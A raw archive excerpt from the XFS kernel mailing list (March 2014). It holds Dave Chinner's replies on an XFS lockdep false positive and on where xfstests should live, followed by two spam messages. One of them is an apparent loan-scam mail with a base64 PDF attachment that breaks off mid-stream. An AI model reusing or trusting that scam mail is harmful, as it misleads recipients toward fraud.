Ai1lANy4OFN5LEcvPGdsb2JhbABZgwY7gw+nOQWZIIEUFwMBAQEBODWCJQEBAQQ6HCMQCAMYCSUPBSUDBxoTG4ddDtEuFoxpggAHgySBFASYTYpdix0p Received: from ppp121-44-71-47.lns20.syd6.internode.on.net (HELO dastard) ([121.44.71.47]) by ipmail04.adl6.internode.on.net with ESMTP; 31 Mar 2014 11:10:57 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WUQHV-0004pa-D6; Mon, 31 Mar 2014 11:40:53 +1100 Date: Mon, 31 Mar 2014 11:40:53 +1100 From: Dave Chinner To: Al Viro Cc: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: xfs i_lock vs mmap_sem lockdep trace. Message-ID: <20140331004053.GA17603@dastard> X-ASG-Orig-Subj: Re: xfs i_lock vs mmap_sem lockdep trace. References: <20140329223109.GA24098@redhat.com> <20140330234335.GB16336@dastard> <20140330235717.GO18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140330235717.GO18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1396226457 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 31, 2014 at 12:57:17AM +0100, Al Viro wrote: > On Mon, Mar 31, 2014 at 10:43:35AM +1100, Dave Chinner wrote: > > filldir on a directory inode vs page fault on regular file. Known > > issue, definitely a false positive. We have to change locking > > algorithms to avoid such deficiencies of lockdep (a case of "lockdep > > considered harmful", perhaps?) so it's not something I'm about to > > rush... > > Give i_lock on directories a separate class, as it's been done for i_mutex... Already done that. Commit: 93a8614 xfs: fix directory inode iolock lockdep false positive This just changes where the false positives come from. This insanity, for example, where shmem instantiates an inode in the page fault path and so triggers selinux related lockdep fun: http://oss.sgi.com/archives/xfs/2014-02/msg00618.html and this with reclaim state contexts: http://oss.sgi.com/archives/xfs/2014-03/msg00145.html I even hacked a patch to move the inode classes to per-fstype classes, and that just pushed the false positive somewhere else. It's just another horrible game of whack-a-mole, caused by XFS doing something different. The first possible fix: http://oss.sgi.com/archives/xfs/2014-03/msg00146.html is a bit of a big hammer approach, so the approach I'm looking at is the "don't cache mappings in readdir" solution noted here: http://oss.sgi.com/archives/xfs/2014-03/msg00163.html Note that the problem that the additional locking added in 3.13 resolved can not be triggered by anything using the VFS for directory access. The issues is that one of SGI's plug-ins (CXFS) can access directories without going through the VFS and so the internal XFS locking needs to serialise readdir vs directory modification safely.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Mar 30 19:43:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 839EB7F61 for ; Sun, 30 Mar 2014 19:43:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1C79BAC002 for ; Sun, 30 Mar 2014 17:42:58 -0700 (PDT) X-ASG-Debug-ID: 1396226575-04cb6c5676b3ce20001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id XZ6WumlCW7KGHBdi for ; Sun, 30 Mar 2014 17:42:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtbdANy4OFN5LEcvPGdsb2JhbABZgWwCAYEXO4MPpzkFmSCBFBcDAQEBATg1giUBAQEEJxMcMwgDGAklDwUlAwcaARKHeA7RFxcWjhgBAVaDJIEUBJhNgTSJKYsdKYE1 Received: from ppp121-44-71-47.lns20.syd6.internode.on.net (HELO dastard) ([121.44.71.47]) by ipmail04.adl6.internode.on.net with ESMTP; 31 Mar 2014 11:12:55 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WUQJS-0004qC-7k; Mon, 31 Mar 2014 11:42:54 +1100 Date: Mon, 31 Mar 2014 11:42:54 +1100 From: Dave Chinner To: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: xfs i_lock vs mmap_sem lockdep trace. Message-ID: <20140331004254.GB17603@dastard> X-ASG-Orig-Subj: Re: xfs i_lock vs mmap_sem lockdep trace. References: <20140329223109.GA24098@redhat.com> <20140330234335.GB16336@dastard> <20140331002030.GA19391@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140331002030.GA19391@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1396226575 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Mar 30, 2014 at 08:20:30PM -0400, Dave Jones wrote: > On Mon, Mar 31, 2014 at 10:43:35AM +1100, Dave Chinner wrote: > > On Sat, Mar 29, 2014 at 06:31:09PM -0400, Dave Jones wrote: > > > Not sure if I've reported this already (it looks familiar, though I've not managed > > > to find it in my sent mail folder). This is rc8 + a diff to fix the stack usage reports > > > I was seeing (diff at http://paste.fedoraproject.org/89854/13210913/raw) > > > > > > ====================================================== > > > [ INFO: possible circular locking dependency detected ] > > > 3.14.0-rc8+ #153 Not tainted > > > ------------------------------------------------------- > > > git/32710 is trying to acquire lock: > > > (&(&ip->i_lock)->mr_lock){++++.+}, at: [] xfs_ilock+0x122/0x250 [xfs] > > > > > > but task is already holding lock: > > > (&mm->mmap_sem){++++++}, at: [] __do_page_fault+0x14a/0x610 > > > > > > which lock already depends on the new lock. > > > > filldir on a directory inode vs page fault on regular file. Known > > issue, definitely a false positive. > > ah yeah, thought it looked familiar. I think I reported this last summer. > > > We have to change locking > > algorithms to avoid such deficiencies of lockdep (a case of "lockdep > > considered harmful", perhaps?) so it's not something I'm about to > > rush... > > Bummer, as it makes lockdep useless on my test box using xfs because it > disables itself after hitting this very quickly. > (I re-enabled it a couple days ago wondering why I'd left it turned off, > chances are it was because of this) Yup, and seeing as SGI haven't shown any indication that they are going to help fix it any time soon, it won't get fixed until I get to it (hopefully) sometime soon. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Mar 30 21:51:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F34317F6A for ; Sun, 30 Mar 2014 21:51:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E46FE8F8033 for ; Sun, 30 Mar 2014 19:51:55 -0700 (PDT) X-ASG-Debug-ID: 1396234313-04cbb054b79599f0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id meFrZ3q02wfFBJzH for ; Sun, 30 Mar 2014 19:51:53 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmVOAG3XOFN5LEcvPGdsb2JhbABZDoJ4g0qFDLtSgRcXAwEBAQE4NYIlAQEBAwE6HBgGBQULCAMYCSUPBSUDBy0UB4dWB9EgFxaOIEkHgySBFASYTZQnf1QpgS0 Received: from ppp121-44-71-47.lns20.syd6.internode.on.net (HELO dastard) ([121.44.71.47]) by ipmail04.adl6.internode.on.net with ESMTP; 31 Mar 2014 13:21:51 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WUSKC-0005xw-LY; Mon, 31 Mar 2014 13:51:48 +1100 Date: Mon, 31 Mar 2014 13:51:48 +1100 From: Dave Chinner To: tytso@mit.edu Cc: Sedat Dilek , lsf@lists.linux-foundation.org, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [Lsf] [PATCH] xfstests-bld: Simplify determination of number of CPUs in build-all Message-ID: <20140331025148.GF16336@dastard> X-ASG-Orig-Subj: Re: [Lsf] [PATCH] xfstests-bld: Simplify determination of number of CPUs in build-all References: <1395997399-3000-1-git-send-email-sedat.dilek@gmail.com> <20140328161806.GA31772@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140328161806.GA31772@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1396234313 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4445 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header [cc'ing the xfstests list: xfs@oss.sgi.com] On Fri, Mar 28, 2014 at 12:18:06PM -0400, tytso@mit.edu wrote: > If we start getting a huge number of patches to xfstests-bld, and > people start getting confused/annoyed about how xfstests-bld issues > get discussed on linux-ext4@vger.kernel.org, while xfstests patches > and discussion happen on xfs@oss.sgi.com, we could consider creating a > new mailing list --- /me puts on his xfstests Maintainer Hat That's a problem of your own making, Ted: please don't speak on behalf of what the upstream xfstests developers might or might not do just because of what you do with it as a user. The existance of many different environments people have built up around it is one of the strengths of xfstests. Hence the very act of considering enforcing One True Way of running xfstests is, IMO, harmful to the wider filesystem and xfstests community. You're also being rather presumptive that the existence of xfstests-bld requires us to change anything about the way xfstests is run. Your xfstests environment - while interesting and potentially useful to others - is not unique and is not the only way of doing in-place testing. > especially given that based on a challenge which > Greg K-H gave us at the kernel pannel at Collab Summit, ^^^^ Hmmmm. Not the way I remember it. Perhaps I should go look at the video and check that Greg was addressing me directly as the xfstests maintainer with those comments. After all, those lights on stage can be blinding..... > we'll at least > be looking at cleaning up and then trying to get into the linux kernel > mainline sources some combination of xfstests plus some infrastructure > automation (perhaps strongly based on what I've been working here in > the xfstests-bld tree) to run xfstests. Now you're pre-empting the discussions we need to have about xfstests and what best serves it's user community. xfstests is consumed by many end-users that are not kernel developers (e.g. distro QA departments, storage product vendors, etc), so anything we decide needs to work not only for kernel developers but also benefit the wider community of xfstests users. There are many advantages even to filesystem developers to staying outside the kernel tree. Think about this for a moment: to update xfstests to pick up a new regression test to test a regression, you need to update the kernel tree. That will also pull in the fix for the regression. To revert the kernel tree to before the fix came in so that you can run before/after fix comfirmation, it also removes the new regression test from xfstests harness and so you can't run the regression test in place. IOWs, bisects based on regression tests become rather difficult because of this - bisects require the test not to change from bisection point to bisection point, and running xfstests directly out of the kernel tree that you are building kernels from during the bisect is going to have this exact problem. Therefore, *if* we move xfstests to the kernel tree we will still need to maintain that flexibility and configurability of the current code so that developers and external users can continue to package the tests up into their own QA environment. That implies we need to work out packaging and distribution issues that we don't currently care about, as well as some method of in-place test execution for people like Greg doing -stable kernel testing. So, rather than going off half-cocked about some random build environment for xfstests defining the future of filesystem testing, we need to step back and think about what Greg actually wants. That is, "make tests" in the kernel tests/ tree to be able to run xfstests. That's the problem Greg wanted solved, and that does not necessarily mean wholesale changes to xfstests or it's development model. And one possible solution to this is simply making the kernel tests/ directory just another downstream consumer of the upstream xfstests project.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From rvifw@wswl.com Mon Mar 31 03:19:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MPART_ALT_DIFF autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B5D957F69 for ; Mon, 31 Mar 2014 03:19:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 92E02304032 for ; Mon, 31 Mar 2014 01:19:19 -0700 (PDT) X-ASG-Debug-ID: 1396253955-04bdf076f08a1050001-NocioJ Received: from wswl.com ([58.247.240.61]) by cuda.sgi.com with ESMTP id ezJSHGUKOXZK94wB for ; Mon, 31 Mar 2014 01:19:16 -0700 (PDT) X-Barracuda-Envelope-From: rvifw@wswl.com X-Barracuda-Apparent-Source-IP: 58.247.240.61 Received: from cw04 ([127.0.0.1]) by localhost via TCP with ESMTPA; Mon, 31 Mar 2014 16:29:46 +0800 MIME-Version: 1.0 From: =?utf-8?Q?=E7=95=85=E4=B8=BA=E8=82=96=E4=BF=AD?= Sender: =?utf-8?Q?=E7=95=85=E4=B8=BA=E8=82=96=E4=BF=AD?= To: xfs@oss.sgi.com Date: 31 Mar 2014 16:29:46 +0800 Subject: =?utf-8?B?5Lmw56m65rCU5ZG85ZC45Zmo5om+55WF5Li65pyA5YiS566X6ZSh55KD6L+O5Y2x55m+?= Content-Type: multipart/alternative; boundary=--boundary_37413_dc674d85-4904-41ea-9535-d2ba38e0c85a X-ASG-Orig-Subj: =?utf-8?B?5Lmw56m65rCU5ZG85ZC45Zmo5om+55WF5Li65pyA5YiS566X6ZSh55KD6L+O5Y2x55m+?= X-Barracuda-Connect: UNKNOWN[58.247.240.61] X-Barracuda-Start-Time: 1396253956 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.89 X-Barracuda-Spam-Status: No, SCORE=0.89 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0113c, BSF_SC5_MJ1963, HTML_MESSAGE, MISSING_MID, MPART_ALT_DIFF, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4450 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 BSF_SC0_MV0113c BSF_SC0_MV0113c 0.00 HTML_MESSAGE BODY: HTML included in message 0.14 MPART_ALT_DIFF BODY: HTML and text parts are different 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20140331081919.08572A42176@cuda.sgi.com> ----boundary_37413_dc674d85-4904-41ea-9535-d2ba38e0c85a Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 eGZz5Lqy77yM5Lmw56m65rCU5ZG85ZC45Zmo5om+55WF5Li65pyA5YiS566X77yM5oKo6Zeu 5LqG5bCx55+l6YGT5ZOmNE9PNk9PNzc1OOOAgue+pOS8l+i3r+e6v+aYr+WFmueahOeUn+WR vee6v+WSjOagueacrOW3peS9nOi3r+e6v++8jOW8gOWxleWFmueahOe+pOS8l+i3r+e6v+aV meiCsuWunui3tea0u+WKqO+8jOaYr+WdmuaMgeWFmuimgeeuoeWFmuOAgeS7juS4peayu+WF muOAgeWKoOW8uuWFmueahOaJp+aUv+iDveWKm+W7uuiuvueahOmHjeWkp+WGs+etluOAguaJ rOW3nuWFrOi3r+euoeeQhuermeWcqOS4iue6p+mDqOmXqOeahOmihuWvvOS4i++8jOe0p+aJ o+KAnOWtpuS5oOaVmeiCsuOAgeWQrOWPluaEj+ingeKAneOAgSDigJzmn6XmkYbpl67popguLi4= ----boundary_37413_dc674d85-4904-41ea-9535-d2ba38e0c85a Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PFA+eGZz5Lqy77yM5Lmw56m65rCU5ZG85ZC45Zmo5om+55WF5Li65pyA5YiS566X77yM5oKo 6Zeu5LqG5bCx55+l6YGT5ZOmNE9PNk9PNzc1OOOAgue+pOS8l+i3r+e6v+aYr+WFmueahOeU n+WRvee6v+WSjOagueacrOW3peS9nOi3r+e6v++8jOW8gOWxleWFmueahOe+pOS8l+i3r+e6 v+aVmeiCsuWunui3tea0u+WKqO+8jOaYr+WdmuaMgeWFmuimgeeuoeWFmuOAgeS7juS4peay u+WFmuOAgeWKoOW8uuWFmueahOaJp+aUv+iDveWKm+W7uuiuvueahOmHjeWkp+WGs+etluOA guaJrOW3nuWFrOi3r+euoeeQhuermeWcqOS4iue6p+mDqOmXqOeahOmihuWvvOS4i++8jOe0 p+aJo+KAnOWtpuS5oOaVmeiCsuOAgeWQrOWPluaEj+ingeKAneOAgSDigJzmn6XmkYbpl67p opguLi48L1A+ ----boundary_37413_dc674d85-4904-41ea-9535-d2ba38e0c85a-- From sixty@web.de Mon Mar 31 06:43:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_FREEMAIL_DOC_PDF,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7889729DF8 for ; Mon, 31 Mar 2014 06:42:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0CB72AC003 for ; Mon, 31 Mar 2014 04:42:54 -0700 (PDT) X-ASG-Debug-ID: 1396266171-04bdf05dacb821f0001-NocioJ Received: from unit1.ironport.snap.net.nz (unit1.ironport.snap.net.nz [202.37.100.105]) by cuda.sgi.com with ESMTP id YU6iMNLWET6pus64 for ; Mon, 31 Mar 2014 04:42:51 -0700 (PDT) X-Barracuda-Envelope-From: sixty@web.de X-Barracuda-Apparent-Source-IP: 202.37.100.105 X-Cloudmark-SP-Filtered: true X-Cloudmark-SP-Result: v=1.1 cv=hzhWk4y6nqNBvqpnTqcIoPOqbdjWWP2xQrwbJO/28B8= c=1 sm=2 a=LJ0inPZW_QAA:10 a=WffSN0qW2HAA:10 a=Hti43J_a8uafeNVhgUcA:9 a=QEXdDO2ut3YA:10 a=_W_S_7VecoQA:10 a=uA08ujabYgQA:10 a=jBPzSI-FvhgA:10 a=sOcM64R-fdbvvH7DErQA:9 a=n3BslyFRqc0A:10 a=QEkGX9cb6z4A:10 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArhPAKpTOVPKJWSM/2dsb2JhbABZD4J3hByGGxKEAI1ZkWsKlltSFnMBgXEZEygKIkgKAQI8AgQYJwcJDwMBFIVugW4BE558hxaIBoUkNZReH4dWkXUPgToEiUyHCYE0hkWSNYJ1Ajw X-IronPort-AV: E=Sophos;i="4.97,764,1389697200"; d="pdf'?scan'208,217";a="237601479" Received: from rupert.snap.net.nz ([202.37.100.140]) by smtp1.ironport.snap.net.nz with ESMTP; 01 Apr 2014 00:42:51 +1300 Received: from webmail.snap.net.nz (misspiggy.snap.net.nz [202.37.100.23]) by rupert.snap.net.nz (Postfix) with ESMTPSA id A108020039; Tue, 1 Apr 2014 00:42:49 +1300 (NZDT) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_fb281d260ea6e85ba187ae0828545b28" Date: Mon, 31 Mar 2014 14:42:49 +0300 From: Wonga Loan To: undisclosed-recipients:; Subject: loan offer Reply-To: X-ASG-Orig-Subj: loan offer Mail-Reply-To: Message-ID: X-Sender: sixty@web.de X-Username: mccartney@snap.net.nz User-Agent: RoundCube Webmail/0.8.1 X-Barracuda-Connect: unit1.ironport.snap.net.nz[202.37.100.105] X-Barracuda-Start-Time: 1396266171 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA440_FLOANF, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4453 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 1.50 BSF_SC7_SA440_FLOANF Custom Rule SA440_FLOANF --=_fb281d260ea6e85ba187ae0828545b28 Content-Type: multipart/alternative; boundary="=_e715c974dc65b5157b29f1e1cccb2077" --=_e715c974dc65b5157b29f1e1cccb2077 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=UTF-8 --=_e715c974dc65b5157b29f1e1cccb2077 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=UTF-8

 

 
--=_e715c974dc65b5157b29f1e1cccb2077-- --=_fb281d260ea6e85ba187ae0828545b28 Content-Transfer-Encoding: base64 Content-Type: application/octet-stream; name="DEAR VALUED CUSTOMERS.pdf" Content-Disposition: attachment; filename="DEAR VALUED CUSTOMERS.pdf"; size=19611 JVBERi0xLjMKJeLjz9MKMiAwIG9iago8PAovQ3JlYXRpb25EYXRlIChEOjIwMTQwMTA5MDU0ODQ5 LTA4JzAwJykKL01vZERhdGUgKEQ6MjAxNDAxMDkwNTQ4NDktMDgnMDAnKQovUHJvZHVjZXIgKEJD TCBlYXN5UERGIDcuMDAgXCgwMzUzXCkpCi9DcmVhdG9yIChlYXN5UERGIFNESyA3LjApCj4+CmVu ZG9iagoKNyAwIG9iago8PAovVHlwZSAvWE9iamVjdAovU3VidHlwZSAvSW1hZ2UKL05hbWUgL0lt NwovV2lkdGggMTgwCi9IZWlnaHQgMTAyCi9CaXRzUGVyQ29tcG9uZW50IDgKL0NvbG9yU3BhY2Ug L0RldmljZVJHQgovTGVuZ3RoIDUzNzcKL0ZpbHRlciAvRENURGVjb2RlCj4+CnN0cmVhbQr/2P/g ABBKRklGAAEBAAABAAEAAP/bAEMABQMEBAQDBQQEBAUFBQYHDAgHBwcHDwsLCQwRDxISEQ8RERMW HBcTFBoVEREYIRgaHR0fHx8TFyIkIh4kHB4fHv/bAEMBBQUFBwYHDggIDh4UERQeHh4eHh4eHh4e Hh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHv/AABEIAGYAtAMBIgACEQED EQH/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0B AgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpD REVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmq srO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEB AQEBAQEBAAAAAAAAAQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFR B2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVW V1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrC 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 